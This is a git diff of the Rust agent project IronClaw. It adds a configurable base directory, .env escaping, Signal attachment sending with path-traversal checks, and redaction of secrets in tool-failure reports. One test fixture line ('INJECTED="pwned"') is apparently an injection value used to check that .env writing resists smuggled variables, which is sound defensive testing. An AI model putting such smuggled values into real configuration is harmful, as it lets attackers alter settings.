tracing::info!("Imported {} workspace file(s) from {}", count, import_dir);
}
Ok(_) => {}
Err(e) => {
tracing::warn!(
"Failed to import workspace files from {}: {}",
import_dir,
e
);
}
}
}
match ws.seed_if_empty().await {
Ok(_) => {}
Err(e) => {
@@ -738,6 +796,7 @@ impl AppBuilder {
skill_registry,
skill_catalog,
cost_guard,
recording_handle,
session: self.session,
catalog_entries,
dev_loaded_tool_names,
+421 -15
View File
@@ -7,13 +7,75 @@
//! File: `~/.ironclaw/.env` (standard dotenvy format)
use std::path::PathBuf;
use std::sync::LazyLock;
const IRONCLAW_BASE_DIR_ENV: &str = "IRONCLAW_BASE_DIR";
/// Lazily computed IronClaw base directory, cached for the lifetime of the process.
static IRONCLAW_BASE_DIR: LazyLock<PathBuf> = LazyLock::new(compute_ironclaw_base_dir);
/// Compute the IronClaw base directory from environment.
///
/// This is the underlying implementation used by both the public
/// `ironclaw_base_dir()` function (which caches the result) and tests
/// (which need to verify different configurations).
pub fn compute_ironclaw_base_dir() -> PathBuf {
std::env::var(IRONCLAW_BASE_DIR_ENV)
.map(PathBuf::from)
.map(|path| {
if path.as_os_str().is_empty() {
default_base_dir()
} else if !path.is_absolute() {
eprintln!(
"Warning: IRONCLAW_BASE_DIR is a relative path '{}', resolved against current directory",
path.display()
);
path
} else {
path
}
})
.unwrap_or_else(|_| default_base_dir())
}
/// Get the default IronClaw base directory (~/.ironclaw).
///
/// Logs a warning if the home directory cannot be determined and falls back to
/// the current directory.
fn default_base_dir() -> PathBuf {
if let Some(home) = dirs::home_dir() {
home.join(".ironclaw")
} else {
eprintln!("Warning: Could not determine home directory, using current directory");
std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("/tmp"))
.join(".ironclaw")
}
}
/// Get the IronClaw base directory.
///
/// Override with `IRONCLAW_BASE_DIR` environment variable.
/// Defaults to `~/.ironclaw` (or `./.ironclaw` if home directory cannot be determined).
///
/// Thread-safe: the value is computed once and cached in a `LazyLock`.
///
/// # Environment Variable Behavior
/// - If `IRONCLAW_BASE_DIR` is set to a non-empty path, that path is used.
/// - If `IRONCLAW_BASE_DIR` is set to an empty string, it is treated as unset.
/// - If `IRONCLAW_BASE_DIR` contains null bytes, a warning is printed and the default is used.
/// - If the home directory cannot be determined, a warning is printed and the current directory is used.
///
/// # Returns
/// A `PathBuf` pointing to the base directory. The path is not validated
/// for existence.
pub fn ironclaw_base_dir() -> PathBuf {
IRONCLAW_BASE_DIR.clone()
}
/// Path to the IronClaw-specific `.env` file: `~/.ironclaw/.env`.
pub fn ironclaw_env_path() -> PathBuf {
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join(".env")
ironclaw_base_dir().join(".env")
}
/// Load env vars from `~/.ironclaw/.env` (in addition to the standard `.env`).
@@ -22,11 +84,16 @@ pub fn ironclaw_env_path() -> PathBuf {
/// takes priority over `~/.ironclaw/.env`. dotenvy never overwrites
/// existing env vars, so the effective priority is:
///
/// explicit env vars > `./.env` > `~/.ironclaw/.env`
/// explicit env vars > `./.env` > `~/.ironclaw/.env` > auto-detect
///
/// If `~/.ironclaw/.env` doesn't exist but the legacy `bootstrap.json` does,
/// extracts `DATABASE_URL` from it and writes the `.env` file (one-time
/// upgrade from the old config format).
///
/// After loading the `.env` file, auto-detects the libsql backend: if
/// `DATABASE_BACKEND` is still unset and `~/.ironclaw/ironclaw.db` exists,
/// defaults to `libsql` so cloud instances work out of the box without any
/// manual configuration.
pub fn load_ironclaw_env() {
let path = ironclaw_env_path();
@@ -38,6 +105,22 @@ pub fn load_ironclaw_env() {
if path.exists() {
let _ = dotenvy::from_path(&path);
}
// Auto-detect libsql: if DATABASE_BACKEND is still unset after loading
// all env files, and the local SQLite DB exists, default to libsql.
// This avoids the chicken-and-egg problem on cloud instances where no
// DATABASE_URL is configured but ironclaw.db is already present.
if std::env::var("DATABASE_BACKEND").is_err() {
let default_db = dirs::home_dir()
.unwrap_or_default()
.join(".ironclaw")
.join("ironclaw.db");
if default_db.exists() {
// SAFETY: `load_ironclaw_env` is called from a synchronous `fn main()`
// before the Tokio runtime is started, so no other threads exist yet.
unsafe { std::env::set_var("DATABASE_BACKEND", "libsql") };
}
}
}
/// If `bootstrap.json` exists, pull `database_url` out of it and write `.env`.
@@ -92,7 +175,14 @@ fn migrate_bootstrap_json_to_env(env_path: &std::path::Path) {
/// Values are double-quoted so that `#` (common in URL-encoded passwords)
/// and other shell-special characters are preserved by dotenvy.
pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
let path = ironclaw_env_path();
save_bootstrap_env_to(&ironclaw_env_path(), vars)
}
/// Write bootstrap vars to an arbitrary path (testable variant).
///
/// Values are double-quoted and escaped so that `#`, `"`, `\` and other
/// shell-special characters are preserved by dotenvy.
pub fn save_bootstrap_env_to(path: &std::path::Path, vars: &[(&str, &str)]) -> std::io::Result<()> {
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)?;
}
@@ -103,8 +193,8 @@ pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
}
std::fs::write(&path, &content)?;
restrict_file_permissions(&path)?;
std::fs::write(path, &content)?;
restrict_file_permissions(path)?;
Ok(())
}
@@ -115,7 +205,15 @@ pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
/// or appends it otherwise. Use this when writing a single bootstrap var
/// outside the wizard (which manages the full set via `save_bootstrap_env`).
pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
let path = ironclaw_env_path();
upsert_bootstrap_var_to(&ironclaw_env_path(), key, value)
}
/// Update or add a single variable at an arbitrary path (testable variant).
pub fn upsert_bootstrap_var_to(
path: &std::path::Path,
key: &str,
value: &str,
) -> std::io::Result<()> {
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)?;
}
@@ -124,7 +222,7 @@ pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
let new_line = format!("{}=\"{}\"", key, escaped);
let prefix = format!("{}=", key);
let existing = std::fs::read_to_string(&path).unwrap_or_default();
let existing = std::fs::read_to_string(path).unwrap_or_default();
let mut found = false;
let mut result = String::new();
@@ -147,8 +245,8 @@ pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
result.push('\n');
}
std::fs::write(&path, result)?;
restrict_file_permissions(&path)?;
std::fs::write(path, result)?;
restrict_file_permissions(path)?;
Ok(())
}
@@ -185,9 +283,7 @@ pub async fn migrate_disk_to_db(
store: &dyn crate::db::Database,
user_id: &str,
) -> Result<(), MigrationError> {
let ironclaw_dir = dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw");
let ironclaw_dir = ironclaw_base_dir();
let legacy_settings_path = ironclaw_dir.join("settings.json");
if !legacy_settings_path.exists() {
@@ -321,8 +417,11 @@ pub enum MigrationError {
#[cfg(test)]
mod tests {
use super::*;
use std::sync::Mutex;
use tempfile::tempdir;
static ENV_MUTEX: Mutex<()> = Mutex::new(());
#[test]
fn test_save_and_load_database_url() {
let dir = tempdir().unwrap();
@@ -580,4 +679,311 @@ INJECTED="pwned"#;
assert!(onboard.is_some(), "ONBOARD_COMPLETED must be present");
assert_eq!(onboard.unwrap().1, "true");
}
#[test]
fn test_libsql_autodetect_sets_backend_when_db_exists() {
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("DATABASE_BACKEND").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("DATABASE_BACKEND") };
let dir = tempdir().unwrap();
let db_path = dir.path().join("ironclaw.db");
// No DB file — auto-detect guard should not trigger.
assert!(!db_path.exists());
let would_trigger = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
!would_trigger,
"should not auto-detect when db file is absent"
);
// Create the DB file — guard should now trigger.
std::fs::write(&db_path, "").unwrap();
assert!(db_path.exists());
// Simulate the detection logic (DATABASE_BACKEND unset + db exists).
let detected = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
detected,
"should detect libsql when db file is present and backend unset"
);
// Restore.
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
}
}
// === QA Plan P1 - 1.2: Bootstrap .env round-trip tests ===
#[test]
fn bootstrap_env_round_trips_llm_backend() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Simulate what the wizard writes for LLM backend selection
let vars = [
("DATABASE_BACKEND", "libsql"),
("LLM_BACKEND", "openai"),
("ONBOARD_COMPLETED", "true"),
];
let mut content = String::new();
for (key, value) in &vars {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
}
std::fs::write(&env_path, &content).unwrap();
// Verify dotenvy parses LLM_BACKEND correctly
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
let llm_backend = parsed.iter().find(|(k, _)| k == "LLM_BACKEND");
assert!(llm_backend.is_some(), "LLM_BACKEND must be present");
assert_eq!(
llm_backend.unwrap().1,
"openai",
"LLM_BACKEND must survive .env round-trip"
);
}
#[test]
fn test_libsql_autodetect_does_not_override_explicit_backend() {
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("DATABASE_BACKEND").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", "postgres") };
let dir = tempdir().unwrap();
let db_path = dir.path().join("ironclaw.db");
std::fs::write(&db_path, "").unwrap();
// The guard: only sets libsql if DATABASE_BACKEND is NOT already set.
let would_override = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
!would_override,
"must not override an explicitly set DATABASE_BACKEND"
);
// Restore.
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("DATABASE_BACKEND") };
}
}
#[test]
fn bootstrap_env_special_chars_in_url() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// URLs with special characters that are common in database passwords
let url = "postgres://user:p%23ss@host:5432/db?sslmode=require";
let escaped = url.replace('\\', "\\\\").replace('"', "\\\"");
let content = format!("DATABASE_URL=\"{}\"\n", escaped);
std::fs::write(&env_path, &content).unwrap();
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), 1);
assert_eq!(parsed[0].1, url, "URL with special chars must survive");
}
#[test]
fn upsert_bootstrap_var_preserves_existing() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Write initial content
let initial = "DATABASE_BACKEND=\"libsql\"\nONBOARD_COMPLETED=\"true\"\n";
std::fs::write(&env_path, initial).unwrap();
// Upsert a new var
let content = std::fs::read_to_string(&env_path).unwrap();
let new_line = "LLM_BACKEND=\"anthropic\"";
let mut result = content.clone();
result.push_str(new_line);
result.push('\n');
std::fs::write(&env_path, &result).unwrap();
// Parse and verify all three vars are present
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), 3, "should have 3 vars after upsert");
assert!(
parsed
.iter()
.any(|(k, v)| k == "DATABASE_BACKEND" && v == "libsql"),
"original DATABASE_BACKEND must be preserved"
);
assert!(
parsed
.iter()
.any(|(k, v)| k == "ONBOARD_COMPLETED" && v == "true"),
"original ONBOARD_COMPLETED must be preserved"
);
assert!(
parsed
.iter()
.any(|(k, v)| k == "LLM_BACKEND" && v == "anthropic"),
"new LLM_BACKEND must be present"
);
}
#[test]
fn bootstrap_env_all_wizard_vars_round_trip() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Full set of vars the wizard might write
let vars = [
("DATABASE_BACKEND", "postgres"),
("DATABASE_URL", "postgres://u:p@h:5432/db"),
("LLM_BACKEND", "nearai"),
("ONBOARD_COMPLETED", "true"),
("EMBEDDING_ENABLED", "false"),
];
let mut content = String::new();
for (key, value) in &vars {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
}
std::fs::write(&env_path, &content).unwrap();
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), vars.len(), "all vars must survive round-trip");
for (key, value) in &vars {
let found = parsed.iter().find(|(k, _)| k == key);
assert!(found.is_some(), "{key} must be present");
assert_eq!(&found.unwrap().1, value, "{key} value mismatch");
}
}
#[test]
fn test_ironclaw_base_dir_default() {
// This test must run first (or in isolation) before the LazyLock is initialized.
// It verifies that when IRONCLAW_BASE_DIR is not set, the default path is used.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
assert_eq!(path, home.join(".ironclaw"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
}
}
#[test]
fn test_ironclaw_base_dir_env_override() {
// This test verifies that when IRONCLAW_BASE_DIR is set,
// the custom path is used. Must run before LazyLock is initialized.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/custom/ironclaw/path") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
assert_eq!(path, std::path::PathBuf::from("/custom/ironclaw/path"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_compute_base_dir_env_path_join() {
// Verifies that ironclaw_env_path correctly joins .env to the base dir.
// Uses compute_ironclaw_base_dir directly to avoid LazyLock caching.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/my/custom/dir") };
// Test the path construction logic directly
let base_path = compute_ironclaw_base_dir();
let env_path = base_path.join(".env");
assert_eq!(env_path, std::path::PathBuf::from("/my/custom/dir/.env"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_ironclaw_base_dir_empty_env() {
// Verifies that empty IRONCLAW_BASE_DIR falls back to default.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
assert_eq!(path, home.join(".ironclaw"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_ironclaw_base_dir_special_chars() {
// Verifies that paths with special characters are handled correctly.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/tmp/test_with-special.chars") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
assert_eq!(
path,
std::path::PathBuf::from("/tmp/test_with-special.chars")
);
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
}
+194 -1
View File
@@ -1,5 +1,6 @@
//! Channel trait and message types.
use std::collections::HashMap;
use std::pin::Pin;
use async_trait::async_trait;
@@ -78,6 +79,8 @@ pub struct OutgoingResponse {
pub content: String,
/// Optional thread ID to reply in.
pub thread_id: Option<String>,
/// Optional file paths to attach.
pub attachments: Vec<String>,
/// Channel-specific metadata for the response.
pub metadata: serde_json::Value,
}
@@ -88,6 +91,7 @@ impl OutgoingResponse {
Self {
content: content.into(),
thread_id: None,
attachments: Vec::new(),
metadata: serde_json::Value::Null,
}
}
@@ -97,6 +101,12 @@ impl OutgoingResponse {
self.thread_id = Some(thread_id.into());
self
}
/// Add attachments to the response.
pub fn with_attachments(mut self, paths: Vec<String>) -> Self {
self.attachments = paths;
self
}
}
/// Status update types for showing agent activity.
@@ -107,7 +117,20 @@ pub enum StatusUpdate {
/// Tool execution started.
ToolStarted { name: String },
/// Tool execution completed.
ToolCompleted { name: String, success: bool },
///
/// Use [`StatusUpdate::tool_completed`] to construct this variant — it
/// handles redaction of sensitive parameters and keeps the 9-line pattern
/// in one place.
ToolCompleted {
name: String,
success: bool,
/// Error message when success is false.
error: Option<String>,
/// Tool input parameters (JSON string) for display on failure.
/// Only populated when `success` is `false`. Values listed in the
/// tool's `sensitive_params()` are replaced with `"[REDACTED]"`.
parameters: Option<String>,
},
/// Brief preview of tool execution output.
ToolResult { name: String, preview: String },
/// Streaming text chunk.
@@ -142,6 +165,38 @@ pub enum StatusUpdate {
},
}
impl StatusUpdate {
/// Build a `ToolCompleted` status with redacted parameters.
///
/// On failure, serializes the tool's input parameters as pretty JSON after
/// replacing any keys listed in the tool's `sensitive_params()` with
/// `"[REDACTED]"`. On success, no parameters or error are included.
///
/// Pass the resolved `Tool` reference (if available) so this method can
/// query `sensitive_params()` directly — callers don't need to manage the
/// borrow lifetime of the sensitive slice.
pub fn tool_completed(
name: String,
result: &Result<String, crate::error::Error>,
params: &serde_json::Value,
tool: Option<&dyn crate::tools::Tool>,
) -> Self {
let success = result.is_ok();
let sensitive = tool.map(|t| t.sensitive_params()).unwrap_or(&[]);
Self::ToolCompleted {
name,
success,
error: result.as_ref().err().map(|e| e.to_string()),
parameters: if !success {
let safe = crate::tools::redact_params(params, sensitive);
Some(serde_json::to_string_pretty(&safe).unwrap_or_else(|_| safe.to_string()))
} else {
None
},
}
}
}
/// Trait for message channels.
///
/// Channels receive messages from external sources and convert them to
@@ -198,8 +253,146 @@ pub trait Channel: Send + Sync {
/// Check if the channel is healthy.
async fn health_check(&self) -> Result<(), ChannelError>;
/// Get conversation context from message metadata for system prompt.
///
/// Returns key-value pairs like "sender", "sender_uuid", "group" that
/// help the LLM understand who it's talking to.
///
/// Default implementation returns empty map.
fn conversation_context(&self, _metadata: &serde_json::Value) -> HashMap<String, String> {
HashMap::new()
}
/// Gracefully shut down the channel.
async fn shutdown(&self) -> Result<(), ChannelError> {
Ok(())
}
}
#[cfg(test)]
mod tests {
use super::*;
/// Stub tool that marks `"value"` as sensitive.
struct SecretTool;
#[async_trait]
impl crate::tools::Tool for SecretTool {
fn name(&self) -> &str {
"secret_save"
}
fn description(&self) -> &str {
"stub"
}
fn parameters_schema(&self) -> serde_json::Value {
serde_json::json!({"type": "object", "properties": {}})
}
async fn execute(
&self,
_params: serde_json::Value,
_ctx: &crate::context::JobContext,
) -> Result<crate::tools::ToolOutput, crate::tools::ToolError> {
unreachable!()
}
fn sensitive_params(&self) -> &[&str] {
&["value"]
}
}
#[test]
fn tool_completed_redacts_sensitive_params_on_failure() {
let params = serde_json::json!({"name": "api_key", "value": "sk-secret-123"});
let err: Result<String, crate::error::Error> =
Err(crate::error::ToolError::ExecutionFailed {
name: "secret_save".into(),
reason: "db error".into(),
}
.into());
let tool = SecretTool;
let status = StatusUpdate::tool_completed(
"secret_save".into(),
&err,
&params,
Some(&tool as &dyn crate::tools::Tool),
);
if let StatusUpdate::ToolCompleted {
success,
error,
parameters,
..
} = &status
{
assert!(!success);
let err_msg = error.as_deref().expect("should have error");
assert!(err_msg.contains("db error"), "error: {}", err_msg);
let param_str = parameters
.as_ref()
.expect("should have parameters on failure");
assert!(
param_str.contains("[REDACTED]"),
"sensitive value should be redacted: {}",
param_str
);
assert!(
!param_str.contains("sk-secret-123"),
"raw secret should not appear: {}",
param_str
);
assert!(
param_str.contains("api_key"),
"non-sensitive params should be preserved: {}",
param_str
);
} else {
panic!("expected ToolCompleted variant");
}
}
#[test]
fn tool_completed_no_params_on_success() {
let params = serde_json::json!({"name": "key", "value": "secret"});
let ok: Result<String, crate::error::Error> = Ok("done".into());
let status = StatusUpdate::tool_completed("secret_save".into(), &ok, &params, None);
if let StatusUpdate::ToolCompleted {
success,
error,
parameters,
..
} = &status
{
assert!(success);
assert!(error.is_none());
assert!(parameters.is_none(), "no params should be sent on success");
} else {
panic!("expected ToolCompleted variant");
}
}
#[test]
fn tool_completed_no_tool_passes_params_unredacted() {
let params = serde_json::json!({"cmd": "ls -la"});
let err: Result<String, crate::error::Error> =
Err(crate::error::ToolError::ExecutionFailed {
name: "shell".into(),
reason: "timeout".into(),
}
.into());
let status = StatusUpdate::tool_completed("shell".into(), &err, &params, None);
if let StatusUpdate::ToolCompleted { parameters, .. } = &status {
let param_str = parameters.as_ref().expect("should have parameters");
assert!(
param_str.contains("ls -la"),
"non-sensitive params should pass through: {}",
param_str
);
} else {
panic!("expected ToolCompleted variant");
}
}
}
+14 -3
View File
@@ -14,7 +14,7 @@ use crate::error::ChannelError;
/// Includes an injection channel so background tasks (e.g., job monitors) can
/// push messages into the agent loop without being a full `Channel` impl.
pub struct ChannelManager {
channels: Arc<RwLock<HashMap<String, Box<dyn Channel>>>>,
channels: Arc<RwLock<HashMap<String, Arc<dyn Channel>>>>,
inject_tx: mpsc::Sender<IncomingMessage>,
/// Taken once in `start_all()` and merged into the stream.
inject_rx: tokio::sync::Mutex<Option<mpsc::Receiver<IncomingMessage>>>,
@@ -42,7 +42,10 @@ impl ChannelManager {
/// Add a channel to the manager.
pub async fn add(&self, channel: Box<dyn Channel>) {
let name = channel.name().to_string();
self.channels.write().await.insert(name.clone(), channel);
self.channels
.write()
.await
.insert(name.clone(), Arc::from(channel));
tracing::debug!("Added channel: {}", name);
}
@@ -56,7 +59,10 @@ impl ChannelManager {
let stream = channel.start().await?;
// Register for respond/broadcast/send_status
self.channels.write().await.insert(name.clone(), channel);
self.channels
.write()
.await
.insert(name.clone(), Arc::from(channel));
// Forward stream messages through inject_tx
let tx = self.inject_tx.clone();
@@ -217,6 +223,11 @@ impl ChannelManager {
pub async fn channel_names(&self) -> Vec<String> {
self.channels.read().await.keys().cloned().collect()
}
/// Get a channel by name.
pub async fn get_channel(&self, name: &str) -> Option<Arc<dyn Channel>> {
self.channels.read().await.get(name).cloned()
}
}
impl Default for ChannelManager {
+3 -5
View File
@@ -38,6 +38,7 @@ use tokio::sync::mpsc;
use tokio_stream::wrappers::ReceiverStream;
use crate::agent::truncate_for_preview;
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
use crate::error::ChannelError;
@@ -279,10 +280,7 @@ fn print_help() {
/// Get the history file path (~/.ironclaw/history).
fn history_path() -> std::path::PathBuf {
dirs::home_dir()
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".ironclaw")
.join("history")
ironclaw_base_dir().join("history")
}
#[async_trait]
@@ -468,7 +466,7 @@ impl Channel for ReplChannel {
StatusUpdate::ToolStarted { name } => {
eprintln!(" \x1b[33m\u{25CB} {name}\x1b[0m");
}
StatusUpdate::ToolCompleted { name, success } => {
StatusUpdate::ToolCompleted { name, success, .. } => {
if success {
eprintln!(" \x1b[32m\u{25CF} {name}\x1b[0m");
} else {
+329 -16
View File
@@ -17,6 +17,7 @@ use serde::Deserialize;
use tokio::sync::RwLock;
use uuid::Uuid;
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
use crate::config::SignalConfig;
use crate::error::ChannelError;
@@ -244,7 +245,7 @@ impl SignalChannel {
.map_err(|e| ChannelError::Http(e.to_string()))?;
let target = Self::parse_recipient_target(recipient);
let params = Self::build_rpc_params_static(http_url, account, &target, Some(message));
let params = Self::build_rpc_params_static(http_url, account, &target, Some(message), None);
let url = format!("{}/api/v1/rpc", http_url);
let id = Uuid::new_v4().to_string();
@@ -504,6 +505,7 @@ impl SignalChannel {
&self,
target: &RecipientTarget,
message: Option<&str>,
attachments: Option<&[String]>,
) -> serde_json::Value {
match target {
RecipientTarget::Direct(id) => {
@@ -514,6 +516,16 @@ impl SignalChannel {
if let Some(msg) = message {
params["message"] = serde_json::Value::String(msg.to_string());
}
if let Some(attachments) = attachments
&& !attachments.is_empty()
{
params["attachments"] = serde_json::Value::Array(
attachments
.iter()
.map(|s| serde_json::Value::String(s.clone()))
.collect(),
);
}
params
}
RecipientTarget::Group(group_id) => {
@@ -524,17 +536,76 @@ impl SignalChannel {
if let Some(msg) = message {
params["message"] = serde_json::Value::String(msg.to_string());
}
if let Some(attachments) = attachments
&& !attachments.is_empty()
{
params["attachments"] = serde_json::Value::Array(
attachments
.iter()
.map(|s| serde_json::Value::String(s.clone()))
.collect(),
);
}
params
}
}
}
/// Validate that attachment paths are safe and within the sandbox.
/// Uses the shared path validation logic from path_utils to ensure:
/// - No path traversal attacks (../, URL-encoded, null bytes)
/// - Paths are canonicalized and symlinks resolved
/// - All paths are within ~/.ironclaw/ sandbox
fn validate_attachment_paths(paths: &[String]) -> Result<(), ChannelError> {
// Get the sandbox base directory (same as MessageTool uses)
let base_dir = ironclaw_base_dir();
for path in paths {
crate::tools::builtin::path_utils::validate_path(path, Some(&base_dir)).map_err(
|e| {
ChannelError::InvalidMessage(format!(
"Attachment path must be within {}: {}",
base_dir.display(),
e
))
},
)?;
}
Ok(())
}
/// Send a message with attachments (if any).
/// Combines text and attachments into a single RPC call when both are present.
async fn send_with_attachments(
&self,
target: &RecipientTarget,
content: &str,
attachments: &[String],
) -> Result<(), ChannelError> {
Self::validate_attachment_paths(attachments)?;
if attachments.is_empty() {
let params = self.build_rpc_params(target, Some(content), None);
self.rpc_request("send", params).await?;
} else if content.is_empty() {
// Attachments only - send all in a single call with no message text
let params = self.build_rpc_params(target, None, Some(attachments));
self.rpc_request("send", params).await?;
} else {
// Both text and attachments - send in a single RPC call
let params = self.build_rpc_params(target, Some(content), Some(attachments));
self.rpc_request("send", params).await?;
}
Ok(())
}
/// Build JSON-RPC params for a send/typing call (static version).
fn build_rpc_params_static(
_http_url: &str,
account: &str,
target: &RecipientTarget,
message: Option<&str>,
attachments: Option<&[String]>,
) -> serde_json::Value {
match target {
RecipientTarget::Direct(id) => {
@@ -545,6 +616,16 @@ impl SignalChannel {
if let Some(msg) = message {
params["message"] = serde_json::Value::String(msg.to_string());
}
if let Some(attachments) = attachments
&& !attachments.is_empty()
{
params["attachments"] = serde_json::Value::Array(
attachments
.iter()
.map(|s| serde_json::Value::String(s.clone()))
.collect(),
);
}
params
}
RecipientTarget::Group(group_id) => {
@@ -555,6 +636,16 @@ impl SignalChannel {
if let Some(msg) = message {
params["message"] = serde_json::Value::String(msg.to_string());
}
if let Some(attachments) = attachments
&& !attachments.is_empty()
{
params["attachments"] = serde_json::Value::Array(
attachments
.iter()
.map(|s| serde_json::Value::String(s.clone()))
.collect(),
);
}
params
}
}
@@ -706,8 +797,10 @@ impl SignalChannel {
});
// Build metadata with signal-specific routing info.
let sender_uuid = envelope.source_uuid.as_deref();
let metadata = serde_json::json!({
"signal_sender": &sender,
"signal_sender_uuid": sender_uuid,
"signal_target": &target,
"signal_timestamp": timestamp,
});
@@ -790,13 +883,16 @@ impl Channel for SignalChannel {
.unwrap_or_else(|| msg.user_id.clone());
let target = Self::parse_recipient_target(&target_str);
let params = self.build_rpc_params(&target, Some(&response.content));
self.rpc_request("send", params).await?;
// Clean up stored target.
// Use shared helper for sending with attachments (includes validation)
let result = self
.send_with_attachments(&target, &response.content, &response.attachments)
.await;
// Clean up stored target regardless of success or failure.
self.reply_targets.write().await.pop(&msg.id);
Ok(())
result
}
async fn send_status(
@@ -809,7 +905,7 @@ impl Channel for SignalChannel {
&& let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str())
{
let target = Self::parse_recipient_target(target_str);
let params = self.build_rpc_params(&target, None);
let params = self.build_rpc_params(&target, None, None);
let _ = self.rpc_request("sendTyping", params).await;
}
@@ -878,7 +974,7 @@ impl Channel for SignalChannel {
// Send tool completed notification (debug mode only)
if self.is_debug()
